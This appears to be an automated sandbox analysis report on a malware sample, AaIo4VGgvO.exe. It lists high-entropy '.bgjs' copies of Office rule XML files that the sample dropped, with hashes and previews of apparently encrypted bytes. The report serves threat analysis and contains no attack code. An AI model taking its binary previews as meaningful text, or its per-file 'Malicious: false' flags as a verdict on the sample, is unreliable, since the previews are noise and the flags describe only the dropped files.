Preview:	<?xml..bdI..]u.I$.:y..+.0T...q..?^..B...(.K.!Np.\|O...!.z.....e?k...%c....7..0..^. .v..5(...0....9..EFTO}......!..f..... '..n..-g......p?.^j....S.D.V%.)yn.k~.m..C..hR.w.`.0....YucJ.-...]2...82c...1..f...3^..:..,.j.Lw....."..j.......Xf.<....f$......e..'.a...JBv..n....%}V.a..Gv..S...]CV.D._D.u.U+..H.........t..g.9./j.R.........+.4%I...U..0.. ....'._P.).4h{F......w_-`..q....3.t..+...93n.c......M...`F>.?.).3Pf.1.r..?...QF:..x.?_o....dTD.y..\"Y..exr..Y.....!k..j5XR.4R....{u.O5cC...D>......}..4.`......M.....n...9...t<Z...fM..A4..(.&.........i...d..e.,smD...<7.Gbl.+xp...\|....0.`j.2....u..,7...".......s9p......i.=c(.'...l.K.3.O.{..J...+.+..DX>.k.?....a......]...2...BZ......B...Y..\|T.....$..^+]Ek...U......<h....>...}...Y....B..>.[....J.RoV..T.S.........(...a..%.^vC......4...Z.,..B.f..S.H..)..1\|.w?)1.....n."...w........l.u.aK.b1....G..6u..w}.E...D.A.. ..=./..n.>[...u.....}#.........@..E....m..G..H.`.%.....2.nO..z...F6.ls7....)..u[ac....Z.......Ss

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11210v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.851382621425286
Encrypted:	false
SSDEEP:	24:QAt8WMq9Wbnbgb3NKqsMSV+ci4HXetdHG4ZsUdsQzCIix4OCS5+RNLPEhT9TFAcw:QAt8WD96n8rNK9f3ioerGOsU+QsCOYRV
MD5:	D31F202C10F1C73F92DCAF485EA6903A
SHA1:	9F3A16F1F21B1FEA22B220E5C325D40D28E05044
SHA-256:	D4219E59F051616AB3D7E362372E9F6F9173EE2B029C1553C4C867203307A801
SHA-512:	DEB7FFCDF6503EC42A3463B8BBBE62C9EDD43F8C61D632E2A58CB61C3294EE5AC61EC8E8198A532CF97FA29B00FF76B79693E91BBB9060BFED65F2A166129947
Malicious:	false
Preview:	<?xmlmNqe...A..b.....)&.N.;v-thQ.k...>...6...0.e.bJ....!D...8....3."..z.d>.P......5.s.N.Oy..<4....\|.t.k....~............7E4....<.k...lL.....9.7.?..s..{.@5..E8.T.......dq..=k...E..q..&.w....R....X..q.~M..<.B.".....g[\,.K9.e...o...&..".z..{{{.."..2>Oh.B.4r}.VQ.a\}.Zd.e.)XW....N.G..q ..U..'.......2...#........0D.....(_.......r%fU b..<.....1..KSV...X.H.6Hs.S.b...u..... .Oo.Glk..);....-._.`v.....x]...Z$3....`....y...2....r..X....k..g..S.E.r......T.>'.sYm.....e.Q..e..ep...&8.>`.Q...[......0.S?7..<Um@.m\|...Yz c.F...f....cB.M......u%.f......nL......i....J.....M.d..9.WA....>..5..........I;..G.../..........!.E...{....gC.YV.^I.b.-.kH..(C...t.;$.).S.+.0.O@c..8i...*...:..RU..H....7f.....-.)..6..k..&..V.....\.G.........^....3..H.......X_H.....Z...../t\|......'m..t..x6:>X..,<..g......}.6U]......,..e8......G...j4E.G........-.9J.7c.E.K....-.......m:N-g."..q.`.Yn8..I..Bs#../.Zr..M..3......5.l...Nm..8.A./.S.\|..y....Q.g.o.....W....^....v?.......l..P^..{C..k

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11264v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.936431156315428
Encrypted:	false
SSDEEP:	48:0Cbn5/q5QW72zcAG80m+WglOYKXUUwVK6IDSH0jn0GFuA0oosGUgFvjMD:0knMaz2muOYKXyVK630jnNeGGUw7o
MD5:	950156073438F78451A5119AF01FE111
SHA1:	C7F6C9956D1AB5426CB12D8047CC362611AF0A7A
SHA-256:	B0906C5826ACA3002D21E9CBED79658ABAABD73A354B0924F128BF3D80B9DB8A
SHA-512:	9EA9C587FB3ECA5C7D7576E99B12F8623F0C150C726E614BACE5B33AF6631DE6B56EE08D6D3EC8BDE6FD0653A352BA23C6490BD6A6F7E31E70CCB545DC12A337
Malicious:	false
Preview:	<?xml<...'"...7..)S_...iVD...}..I.............N..y.n............1Rc...1.8S.Mq$...0.../.7E.....9.T...S....bg...@..T....C..3JD....w.k.o.%^jW>W[......D.@.%;...!.1AG.......u._.Iw.bd.....(...r.H.....Yt......-1.&..J.....+..1rD....9TD.[.uo........X.(?.f......j.87 ..r.W'+.uK.D>..K`z<..-.......a..CSV...v.qSD.....5N.....q........x..V-.2..8. .b.^H.$...j.....?....`/......X._tj.u.........UVo.R..'.\...Qa.C..1H.H.u4.-.uw._...>....lS..%..J..h....".;.`.....>...fBCq+...K...<yT.Oqt/R..x...GM..E3B..E .WR.>.../............T..\...$C.....DoN...{8R.<.(/...s..b..F.....e..t%....j.jjX...\|.C...k>.:..2.....V8....r>...){\J.F..b=....9..;n..6.+..1r_...K..$d.{._.D......h.2..gfm+.=..EM..[.).....C....bo.,2.-G.S.J{..1..w...}BEQ..@>.7.c..s.Ur........^..D..Y...D....!R...NHw.n....rd..q.`..}.`...^!..:..d08....KK...J.).......gR.vU....f.[E.;dV....c...+.........(Jf~..{..m.....~:.w...[Xr.j..z[..N...+.w.h...%Nt.A.,.a).A.r...PD.. ....q.&f...<..t%S~.C....wb.2........X

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11265v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.90511768021299
Encrypted:	false
SSDEEP:	48:GYPooPedJazU+LIzYdpj5dae6CVC7/OLhS0pRoD:nQoP0UyEdkBSLhvR0
MD5:	1178F77D68F0141C96E80DD351B24BB6
SHA1:	BEA3417E5287C30B315E23F3D2EF75F9821C7C68
SHA-256:	406B1669CDC2BA6B4CB12E2B880001B46EFF762753A046678C9045F215A6D34D
SHA-512:	80540BB6E2BB127A9CB0383CEBCA0EFB53345AE87A4AAE4BD6D22F8C75371ED1CAC3F96201B2C1525C1CE708F9C3523BA231C27A233F57DD923B424DFF9B17B1
Malicious:	false
Preview:	<?xml...-...p.4U...v.K.kMV=s.m.u...].w......."..]z.N.Y........a...iQ.or\|.f...yi...P...Z.@..:.k5r....W...gx.k&..sf!T.\........&<.E.I..;.G.f....S..[..F...y....a.....<p.....i^.....97....A.S......b.<.......'.az......h.u.G.%...4[...o....Y..C...\|.H.E....<.V.a....z..@.........$.3......=at.0".@M....^(..Q#Jg.. ..1q..z.>.%.......8..gj].J".w.....{cCn..<....9.p......=p.._C..#..5.,.n.+...~......C!".g@x.....c.r.$7...Jc......A..O.m........o.....[K..>>..."..q]..$x.~.n@......'EIX8..?T...............S...'5......2^v/!...u.T0..\|.2.j.R....kS.dM....fd....7.}.uJ(...6$.S.z.l..I.IP..H....C.."+#...&~..',I.`.:)....^fK.J.J...`.4i...............k.F.T..ag-...s,.<!...>CL.V..}Ii)..............Y.."D .....Z.ep..u._.......+.<.......?5....0.<.. ;h1.."A....<.T{Z..OE..........5.....<p..~+F.I.Yc.....".HmWt..a7..w.............?.rvvW.r.vbUDL!...q..uV'<....#...b.q..i....N.[.P....!....<.4.. ..[..l...5....N.)...!.\....@.D^H.....N{....1..............0r....E...]1t.P.%....\.R..D.8.o.@._

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11285v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.972554699595201
Encrypted:	false
SSDEEP:	192:kjZvW8XkyP6wdU168qk0h31CjB3+BHl7dhZUak7U8M2A:WW8XzPHm68qk0h31oc1dXuHA
MD5:	43AF88B02CBA6F07EB232CA5E45EFFAE
SHA1:	ADB484B809564640E98DA9885DC18F0FE7A3F16A
SHA-256:	3F9D3C28CB67AFF369D835C1920B80DD010673E98A7B328008F190EC7E38355D
SHA-512:	83E8439A993F8332B380E18F1C3FE07DB861E8D0D5CE279600CFE684BECCBD50C04389362663685CC0C45EFE0F3ADC6897384ED352A63F7B4917EFBE69B089CF
Malicious:	false
Preview:	<?xml..b...hO.W......$.......yn./E....PAv.k..A...."....{.I.P..m......A.Z9.!.w..2.}j..S....).n.O....1.A......{..)....k..c.S.z\|..}..+.?.B....x.Z.ja..M......'.L.X1....[.....).....9.{..@C.p....~.2...8.q>d.N.(P..).A._..=..?.....~...>X..gV....5g........z\|ns.n....xY.......r~...Ef.....Q.'.....!.6.....a\f.j..i&.u...0....?.k.....E.n....!.5P.w;.!.TIk...u........l.7U.5G..-...........3.r..G.i4i(.k.t>&3.)..........2)Z...Y...$%.z..ad.2....M.L.h..CwtA........m...u{.. Tc..ra}U..vr....BD[#..e.....^r..m.._.v.....q.....`[i.g...x.:. &4..g.I..1U%_....B.....Q..e..w..]..v.8.:y=...Y..x..@'b.>].@..,....s5M/yS.......F>..a..G.1.#......5..g~..[S.f\M...~..j.7P.....^....W...P.s..bV'.t..j..^R..WuW3..}>S`hlI.b.~.V..B/...L<<...m5.....]......(K{..#..55..........o.8._.<.C...W..x.lt...-.Ux...F.h..W.[1.m1...q........O:Up.q.!...}Y.mtX4..g..@o....9..v....p...r.,......O?.."...J...}q..!.<.....aTP.........U...zZ.O....4...g.U.@.)..z..+.......,gnJV....[F.......!..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11289v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.948839938389551
Encrypted:	false
SSDEEP:	96:ImFGd/IhrPBOz0277pJu+omvoD+rPGJ4MHNCNHuYb:ImFG8jWPDuYvZEQNHuQ
MD5:	70B5BF328EAED074C82F9C1E68EB7023
SHA1:	8CDA467D643FA3C63040795DC6545C7F07E39367
SHA-256:	5322AE76D5E47DDCFD60325C3999B5BD1030AF881B2ADD37635713A589B6FC7B
SHA-512:	733DC3E96058A17400CA9602A5541401B55C9D88117194B7F9D6E545C9544FD6DD905E57529EA020981B2C22A05F1EA7A3487B2390C2960D621F768E18E58FC0
Malicious:	false
Preview:	<?xml..;..z.....2..u3...]..\)6....=.....,.\..={..........Qo~S..FT@$...p..X?%o.rB#....5{U_.W.DOeKx...L.TL.~i...&O+....u7...1h..x1....,..."\|.. .<......M..{....\|!..Q....[..<.Z.w..of.#K3..\|{C..gslKa..;: ....n {..........(.N.....B]..>./..%....I~../.Wg+D.f..2..5.5=.../.7$.+..ON_.....:S.`4q_...@..\|2~d]..Z.}..... .p_.X..\W....W....D.E=..n...\_.....h:.....&...,m^k..Q........7 .,....[8S.x..maw.p..~.P.......p3h;.fh.....<.+`.h{.G..)..n$.\|....$.Jh...\.......Q. :am_z(..$f.B.^...9.3...B4..u.%...o.EH.......f..:.G.1.Uu.\|..)...tD.Ol1..\...H.....p....Kb{....yQ*.fg......0..3R.O..[..D.i......(ie..cfT......y......Q._j8........?..1.4...\|.K.y.X....>J.q..y....f..K....H..-Q.E.R......r.5O(..j.....o...,.>.....i.?h._....W<...5..n.OS...Y\|.9..65..3.O..p........k.kX..&.u..~.==R...r) &....s.2.7..{..cU..lS.+x.-Uzc...a...q`.,.m.....<.&..hV....j.....w..8...)?C...J.+.7.w^w]...8....JNs."l....Gl...cYU....../gc..h...xv.'...\...uv..o...h...y.[J..!.g.$...^....."....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11300v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.960783077066155
Encrypted:	false
SSDEEP:	96:1mOMug3nFGYQsjYPN3sMBv2NNMQB78Kd6M3mkwudhrMZ6jTo:1DFg3IY1YPNcM4NNMQ196M3mkwuDMZ6o
MD5:	EE96D3C7D4615F81EF5ED56FAE8CAB11
SHA1:	AB3B8F65B9BB3C76632BC614FB2F38204C542C5D
SHA-256:	E505F51FE9E395AEE93B0C29378C89FB5D6AB41E8F411C0D482BC54CEEB593E3
SHA-512:	4E77FE46E0D1001503EF9DFA12CBC53D36DF54831466C9A1DD3258DC892C00AA691C0674F1C843F380443FD3D6F66E548E6A26B14CC3C147B478F5FA024E2485
Malicious:	false
Preview:	<?xml...7G.c...)H...a....r.;t.H"........l...M...HGw.9....?...b.Z.5..n....z..n....Udyg.....i..5..y$......n.........i.....Q...d.n...\|......\..`.~e.....DT..>.... .5...~.8..U.o.G..8.\J.v...O.pD..)Z...C..c.n.jVU.=...-..^.).k.k......1`.j.....Y...A.Y$...`..t.G.}.~/..z_^.......[.w>]..6..?0..Z..GU..~..wV._K......Z.....n.J6.Y..h...../f'.w..M.m...6.`....4.N...d-...... ....F.G]........Y....:.]!b..z`P..0..A...w0....e3k#.e.....4.@;.q...c$............c.s......B...l.....){u....#...y....i.r......k..N.).W.a...07..#..%...f...3m..!..3q-.t?\.U.bP.B.;....I....!.}.a.D......#..]......dC\t..G.r..+.~..r...oyr{t..n...D..G.Px.y.........e....../_W.U.......t\|}.+.V!;i....;3...w...}6.~..O.......O...S......Qu........[TgAt.$.. ..\s...2..`....u+.s6.&..PD..S..;."2%&.t.`.....oo.HuL^....&t..gf.C;...w.\n9............-.z]..8...h?.u..N..P.v1...A;q:R.=,..FE%...a>........XE....I...]...0,......&.....:.\....d.}C..K..[.[...\|v..Oy..;.K.~J..h.......b..$..-.x7.8.......$d2s.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11302v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.947253257395173
Encrypted:	false
SSDEEP:	48:YXhykm42BscP6EwefZH8xg8gVfNYoaa0h/pdVnnksooXdR2KHfWY8cv+d0/quxA3:Yxy+2jPPwkZMgVfNYoazfVnnGylfJ8c6
MD5:	5722CA113EFCB77EB1567A9B7EFBD7B5
SHA1:	A329C52779E4E3922DDA58CECC653D19A62951E2
SHA-256:	853353BFA2C1DFB9EB1DFDE09B7F552F16D8827C007525DCBD4FB5E2EE5BCCD2
SHA-512:	18341EFF7B2E15FD8E2A93FDA8272FA823B2AD441B99059DEE7EB187E3B8EE73A769405ECBDC659604656DDAAEE2882F16AE53DD0DB613F7EC6131DE3BE28D3C
Malicious:	false
Preview:	<?xml..w..C.D...79 .....M"5&.YS.2.!..q..=..TW...Yx.......$Z...hi.6.Azu..m.KXwX.....W....."u.d=....-O.k..L.IX...A...6].I.I..u.u.......hwt.Y.s5.....in.y..F.<Z..W...3a.i..s,..2.....z.....!... .Ye...).o..7.-.2%..)@R...#^T6..%.7Gy....J...,.G]b.@...m.L%l..;....>..?.3PJB.D.6..7D..fP.h.Y>#C3E..2.?.7...>...@.7u....jLi\|...[...n.i.wC...E".Zm.....PpJI..bj.\......u....O6.,N..t_V.=....9......\|.,..2..Y.'..J.d2.rxl/..$9..>..d._..J.............2.m).6..........>../.A.S[.P@6....3.3:}R..(..tV..t..Y...c....v.`.S.-......R....../.R..W&r.'h ..\|.ch()..}...?. =.4.`.UD..... \|F..Ep.f...F .n.O/.Xv.m{..... 0.g..T...#.6...[..+......._.^.]..(...E}.X....%.}.A...Rd....h...O\.Kg.x.%..`..1..R...&..RB./h.O&Q.eF.1...".![..\|.......#/......\(..i.."H..Ew.b..9..ks......n..P...0.E...r)o.z[..!N....Yw....o....u...F.[..O0.&..}!.'........c...........2.............M.z..=j........X.../..+..$..=yrd..-.>.5......gZ.Z(l..P./S4....*H.[y.B......O...R.&.L.GV[>Zj..b..uT..7.zr..Q..7..H.q.B...2..c....U.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11362v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.9704035626804
Encrypted:	false
SSDEEP:	96:mlgdjMz8NIQ4tPyOhRLoYKRXpz5gP8hghCGDjl/zwGItjjLpGztSuDbRNXazrGV:mGdjMzu4tFhRLobXpm8MDJwGcjLgoMVx
MD5:	ACD4C45F6F9AC830D4EEE89A6C3B496B
SHA1:	B2BC8B41A417CB95AFF8B93138760A1259F5810F
SHA-256:	CBBDC80EB09AE2077F2FF82B33BD18FCBC22E4385B0CF840B7EAD7A1B4832C90
SHA-512:	4A81108FE420D7F14CE75668188BAB2FD3865D57CA23BA98E0A11B970A7EB27F23A105A18AFFD9C4B6F48BB0B4FC7B305FFB329CF2249E240336085C8E4D900B
Malicious:	false
Preview:	<?xml.&.......ugU.L.G....Cdy.X.<.E.p....#.+.6..coc.~.;.V.BM...._U..D.....+..U.t............8q........6.....-......Qro.p......V.......Y...i.c...S2.GqQ.tl.i...J.....[....F.c....O..e...7...]...9.$%....-...-..[.Y......Y.^....W...#....IkV..S~I.PK..-v.v...^....){.s.,M.:C.@..P6..<.U....~.Qj..t'R.mb..l.WS.X:...uHwr..n.B.vA..EBaG:)...=F..X3...\|,w^.0.$..L%..!...1D...MSc.2.#Kf._.W.8...D...........Lt@e...a.zg.&....._}...Ap.....M.....Sq.;.J....J.8. .Wu...M.H.......b0N5...g.b..%L_6.Yp.v..ox.e.~....6P.%......Rm._.zQ9B%s-...W\N/)x. .m.....NCy'N.....C{^.Qu..H.f..Q..-hu..7/...`.<.G...)[~u.....zt..S..X}........1.w.N'`..\|.h.N.D.&..n$.2...'J.....]......K.I...U.V%.ZR..S.)%m....J,...q2x+g.q.yH.iS.5.w....d..r......;.....?o...i..7.x..5...o...J...U..wB.m..Lx.......jcSH..F.1../d..XE......{.....D..b...g..? eHd....F..Ra........F..L.8.&$...)....~....".........D+F....m.J..%..1..^.<KY..;....q.. '..}...`?.........b.,...z_.u.B.. .H.uS...q.1............Od.........D.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11369v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.900617111701718
Encrypted:	false
SSDEEP:	48:IAH2GBpC9KtBtaGrI6liw9ffWeCapc6hE+4D6D:Iai9wBiw920G6hKS
MD5:	1A1D71950513D460EABE178076FE9EDF
SHA1:	7361FF400ACDEDF6FC877CD48A906C350B9ABCD4
SHA-256:	A3DAF0D8F65276E722502B1F573CE9BA9ADFA911CEEBDC2DCE4AFB2F97B84D9D
SHA-512:	A4FBC4792E5CD23D0A33AAB76F23DA9B2656F2BB24B954F70BCAF7F4B62E44E7C885805F3F0F4B39CCF4028351D7D763460B430F7D352935E3C2BAB572DA10BA
Malicious:	false
Preview:	<?xml9....F....4Y.d,R.T.cd.a..0.q..4q...;..G.m..)..Sq.Pq....ku...g.[ ..:..6G..+.Q....7..e..C..5.....+.T(z%.i?;..nHA..iF.F..h.8..C..YAS....F.dhN}34.....{1...v....5$Hq=...>..V.......z...@..NH.S.(.0T>.j.>.HP.U..!.L........\..).6.9..."....L.....m.....o..4...U...sJ6...Nid.....E..&..`L.w.......F(?.}?N.#...<.}.TMxY..b...Tp.....va...?...E.l....f..}..Q..."+(.....o.s.!am..-. .(.i@...)Z.{.$....u..._..0..Q.^..K....Q..;....S....Q6?...a.(~...h....P.Dnb........k..1%....\...}.-.G.#..v.#.QM.,..m.p......V...,o.TU....../..,.-.X../.U.BB(.............>N.q.W......C.Q....$.e.,..D......t..,9..~..w....C.AX...e...G.3t....J9C.C........a.......x...%s....D....e)z....{.8.c...a.U...#........u.X...m.7Q../........@....=S....c.\|....4....S....-_......^"y0N..J.'...yrb.+.....=.....$....[....>..[....v...?.`..q.?.....D..8.d...4.$j....Q.lA!.t-.P... .T..`P.W.&.... .`m..;1....~.O..<...$...w.Q~......amK-.$p.Q.E...FO.. .bM6................d.Ou....fi.No_A.`..z.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11370v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.752695277751052
Encrypted:	false
SSDEEP:	24:M4CJ33SUmfD3DH8scTvQfRhhzUqqq47g2quVg2MCBo78UbD:M4833SUmf87vQfHhzUqqqEPNVWCBozD
MD5:	78708C477FDB1C682DCCB7A991DFEC64
SHA1:	2EE8E6338C35A1208A6183976B6F3E49F53EAC6A
SHA-256:	EBB94D0C56102003B95C400D4EFACA61FCE6FD41C3F342955BDDE16BCA92F8A6
SHA-512:	7C831E433F30C3183DDC62A547FA0D9940913D9D3B49F03EA3C808F900BBA583E33254BB3CB408AEE77EF8A26E149E31B7873C4E614095A403DD70BC69DD3785
Malicious:	false
Preview:	<?xml<F..O.\..=H.=.T....M....^..kv...J...I.H....b..q.tSC1/S7....9.'.....~.VxX....A...N..)u_.+.../.M.....G.d.......he..F...%..g..S..\|,..7)..Qp/./.C.....C<P...$...e.$x..Z.g...i.9.....1e....4.....F0+`.n....6.e.......c.=..Z..:......D.IFD8.0A<G...i:...of.$X.y....{..6.d.-...J.............sI..;I.W.^i'.cl1....CH.....kK>c.rX./'.H...U4.......2G.c..8G4..k..u2.a..-A...gn..D...@(..u"....\......0=.........M.:l.D.k..'2....W......)....G.....W@.d....g<...u...........Y.d.WuK.F 3..^%.qvc.>aED...+./l..t("....G..2`..W.n..I.Q....'..*...R.@...6.U.5\|.7=+9.\|.P...i...Q.+A..0..F\.V..]d.+./.#@BdM.b....m.......j...k..L......c..J..6#.y...P... ...V.....4...tH......[.....S9........W..4\|.....pH{.'g4q...-..~Z..$..q.bE..`.+..j.../....'..v.s.}..../wn....L......z....,v.rc.)8...XIwi:.m]....H.s..C\G.f..}A7Me..t.B^q)lJ.Jx....'{."....(`:I....d.....Q.+....2....b\|.$..>g..{1...Y...h..t. ...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11381v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.920197621367717
Encrypted:	false
SSDEEP:	48:tZtaDeVVc2kQxNY2Z4UuuOg+2drFglKnTLCQ/+ZRfBNWU8j+g1wsqolRD:FaSVVcxQj4UC2drctsyg1wklZ
MD5:	A27839E50A3F05368B94CA1E98E2433F
SHA1:	8AE0B2C3A864D666B987D363DB31FEE2C3772F09
SHA-256:	E67E1B5D1D6768AA3B57565500DB9815C954CBC64A11507A1BDA19A767C2CE9D
SHA-512:	8FA5DB01F9482D2BAFBB724C174E5B078D767901BA814889FE0271F9E3FECD989022171F10ADD5D79D98D1C8A3ABB5556E46D75162D224B47A1C25BA2BA8C1FE
Malicious:	false
Preview:	<?xml..0....Lf.\|..G.....~.O...D8o.....3....~..zE1.....P........V.?'.r..j..........E.../g.R.Hjs...h+....r.dO...^......L..../\|.zG).!I'.....8..."!...?~...F......../N.4Y0..G\|......O..-......w.......Q..c......:.`F.:J...z.L..aqxf.u..l7+.R#6...K...s.V.u.&.......G.A.#.u...j....R.$w........"M...f.E...~D...c...`m_.Ot.......W..6.X...R..`..td.LI..N.......G...&S.\........bAyD{..n\|{r.../!...DZ....w.r.J..S..\.v..-.?.X$....z..P..H.w.........NP.g....;..9....^AK....w.(...%......!w...Y!.O.WjJ.-...k..p.0.E.~9j..4...m..m...w..OEg76r8.c_.....&...,..Y..E..aL~</.....w.......A..wu..x...!7y.;.....n.7.C..Fi=.n.Q<Fj...nF.r...!S.).9...eY.H..)).,3..q}-.h.lB0....7}.I.../...Z.m@..YJ..%r..F.f...[e.T.1..U.v.+...V.E.d..U....W.._10....>......[..#..P"0._.. n/.'....-S.].Z..%...36<.4..9L.....Q.&..qR...kB.....i..z...o.{V.#...+o.b.."..M.Y..S0...."b..w.....I.Or].(-..+V........Z....y..r..].RcD>k]9T..R8.?........NQL..Q.d.R....c0...0.K.W...Q..r..... <T...bB..N3`W.T.'..w....I.W..M

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11446v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.982899169793933
Encrypted:	false
SSDEEP:	192:vqmJnG5FRXU0nDMFxkysXa8XIjXAPFrHsXv8YP1wfT/hUG+wMwXS17jaNnTQM61k:vdyFRXU0nDMFxkysqHLA68SwfTWGvMqN
MD5:	A01061A33917DB04EB5C1961525A6010
SHA1:	12703962D1E0A521F5784DB662A2C3ADA09D1D68
SHA-256:	E4D650BA9FD3E9B6637668B1EA4B7D63500E2C40C243E70CFA269F4165AC65F5
SHA-512:	30788F70693E61F8EEB25FA9D2DC027B5ECFF75F93D1EFF2D25DF5AD97A0B706E89BE561091416AEB768DFB63CD889400BD04A749476A711ECED77B9D637FE12
Malicious:	false
Preview:	<?xml.....).Z..T.d;..P'...J$..=...`...<...[.......h.r}.:.....o.N..I........k.D.zd.9.e...-..9.g...JA!.'.O...}.-.l?2...w]..q.R.&.".I...c.\/..Bg.Q..NN..LZ.....E....C...g=..S...t.a(..`...:g.j.../f]@8g.j...8.4-;.8;..Z.C.....d..U.m..&.n..Hxa..!:i......K....... #..`GF..@..v]..%;zY..>._I.'..J..<.?............\.!...L.-.......,a..~..1$)..w...B.8.....E;.f.?2H.....b..v.N$...#...V..\|.=...J...9..E ...Xk.S.H@X?.I^.32...M..8.%.O......M.....}..H..j...zTU..\|e......B...o...U.S.h1'l=..}.(...m....?...l..o.Z..t/B..WZ...M#8..............?..xQ!...o..gk.9S.$b.R.....yC~..P.x.x[......._.........C...w..k.V....1..#...Ud/..-s+.Qi.#.5V~O..$........`3......h......E..>uK...-. br&Cd.......c..b...I}..sg8.6P.}..4....[.,(s.8...z. 4...sI...V.....L....{....*@B.0..'0..f......\r.jm.Ww..ur...S....\..}..7.i..~..L... '..}.......M#h........T v.PIS.`....O.qH....V.e..V.....(.h..}1..0..&.m...#.q+...5.U.M...l..cTe{Z+..J....z._..V.......x<...W/.2.L...<yW....q.Q...c)...A.t=.F....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11464v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.734966328719356
Encrypted:	false
SSDEEP:	12:FWhqQIBddi3BNyS81lx3JSybSY2xeUU1jGIfcNykwwOLFPE6gFYIytroHFC2V1+X:FpnwNk5lbS18jGi6RZYIytr8UHbD
MD5:	F5220CBA734BFAF140166F62A53AC1F3
SHA1:	6E25B2F3F203B4251845952CEB8953A12B53D2C1
SHA-256:	37ED6AAF07B676BD8CD754DA9AF04464E7C0B06F3FC123EA508400E38E9B377A
SHA-512:	C74BF17D4E9CDCB9AEE118BBD248307E3FFBC19061D8245EAE19708812F0CFC44E87225C1CA72229ECCA6CAD6D6004EBEB026721A2655E00FF43FD55BE57BCD8
Malicious:	false
Preview:	<?xml..@...e_.c.....[a.....\|......-..........He...{.....A.=\.,..'.9.}1M.#...........!........oS.K......\..l..I.1....CE...Y..J.Q.M.....Z.........g6..LW.p...[.i.gs..B.....e:.By.W........9.].# ....0.[.fA.X..e...S%^.2.T..c{./F..F+....p....cD*.8a..2..rk....;.z..:...%..7.(.I?..g.ZMh.}..!.R.d...yv.T...>JRxm..2....A...3[.....C.z..^..6nF .kl.Rf`.\.F..I..<o...i.\.(.\<.7.<..<E.W,.M!...!"..{G..5........s...f...8.)..8Y.3.Y.......X......"..?..YdBY6....G...ii.O.......>o.7.....s^....s`.G...Q..M>D".@....P.vR.M.....0..T#{x..\...../10.[.zqz...:Q\[.....6.8+]2.....>\...xy.z...l.1q..)p...Vm.P.\0.....k..# v....w-..\.s....f.......$...8.G.\V.@t.J.0....^....".R.....Ke.$.!....G.....P. ..q.m..wA).Q,5.i..0.2SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11498v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.712283860684251
Encrypted:	false
SSDEEP:	12:9voAvXXzwgkQfA4Q3taUBpZg1BZf0spMTCAIYS0dnUZ0B8l1+cii9a:NoAvXXzHZfwdaUBpZgnZMspMrIYhiY8Y
MD5:	DFE7A18865DA439C395252E6F77C08D1
SHA1:	05CAB8327330853F95445887F355EB9369743C9F
SHA-256:	1BF09B98762F6BEB10D59206C0109716573AD4F7B2811FCF279907214C7742DD
SHA-512:	D599093FE6775CCF8EE98B3845199AE084BB824799663422CEB683B643602709D04989B2BFDA9A25CF352F5CC297523F76C22979C426AD26FD6B4F8A9FB2DBF7
Malicious:	false
